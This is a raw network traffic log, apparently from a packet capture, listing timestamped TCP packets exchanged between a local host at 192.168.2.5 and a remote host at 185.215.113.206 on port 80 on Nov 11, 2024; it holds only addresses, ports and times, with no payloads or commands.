Nov 11, 2024 19:52:02.664338112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664338112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664345026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664357901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664362907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664370060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664395094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664401054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664407969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664418936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664431095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664433002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664444923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664458036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664463997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664483070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664495945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664495945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664505959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664520979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664524078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664537907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664539099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664550066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664551020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664562941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664570093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664577007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664587975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664588928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664598942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664622068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664640903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664640903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664653063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664664984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664681911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664700985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664704084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664712906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664726019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664735079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664738894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664751053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664758921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664769888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664788008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664796114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664819002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664820910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664834976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664844036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664845943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664875031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664876938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664886951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664902925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664916992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664928913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664938927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664940119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664952993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664957047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.664966106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664977074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.664979935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665004969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665005922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665016890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665025949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665029049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665040016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665045977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665051937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665057898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665062904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665075064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665090084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665093899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665106058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665113926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665124893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665127039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665138006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665149927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665150881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665163994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665172100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665175915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665189981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665194988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665215015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665227890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665229082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665242910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665257931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665261984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665281057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665282965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665292978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665302992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665312052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665316105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665340900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665343046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665355921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665363073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665380955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665393114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665393114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665405035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665414095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665416956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665429115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665438890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665441036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665453911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665465117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665466070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665482044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665484905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665507078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665509939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665523052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665541887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665551901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665559053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665570021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665581942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665594101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665596008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665606022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665617943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665621042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665643930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665648937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665658951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665668011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665671110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665683985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665693998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665698051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665709972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665720940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665724993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665733099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665745020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665745020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665757895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665767908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665771008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665782928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665792942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665795088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665808916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665813923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665819883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665829897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665832043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665843010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665854931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665862083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665867090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665879965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665884972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665893078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665901899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665905952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665919065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.665926933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665946960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.665973902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666526079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666538954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666551113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666569948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666589975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666668892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666681051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666692019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666707039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666718960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666722059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666731119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666743040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666764975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666775942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666778088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666791916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666802883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666805029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666815996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666826963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666830063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666840076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666852951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666856050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666865110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666874886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666877031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666889906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666902065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666903973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.666927099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.666953087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667597055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667651892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667690039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667701960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667711973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667725086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667735100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667736053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667748928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667763948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667778969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667807102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667813063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667824030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667835951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667848110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667848110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667855978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667865992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667866945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667879105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667879105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667890072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667905092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667906046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667921066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667947054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.667959929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667992115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.667999029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668004036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668016911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668029070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668031931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668040991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668051958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668052912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668065071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668078899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668088913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668098927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668108940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668117046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668128014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668143034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668150902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668154001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668169022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668169975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668179035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668188095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668200970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668211937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668212891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668226957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668240070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668247938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668251991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668265104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668272018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668277025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668287992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668311119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668348074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668862104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668874025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668885946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668900013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668911934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668924093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668926001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668936014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668947935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.668951988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668971062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.668998957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.669038057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669049978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669060946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669073105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669075966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.669085026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669092894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.669097900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669110060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669118881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.669121981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.669138908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.669163942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.670970917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.670983076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.670998096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671016932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671027899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671030998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671040058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671041965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671053886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671071053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671084881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671094894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671099901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671109915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671122074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671124935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671132088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671143055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671180010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671421051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671432018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671442986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671468973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671478987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671575069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671586990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671606064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671617985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671618938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671631098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671633959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671643019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671653986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671654940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671660900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671674013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671675920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671685934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671696901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671698093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671722889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671732903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671745062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671752930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671765089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671772957 CET	49704	80	192.168.2.5	185.215.113.206
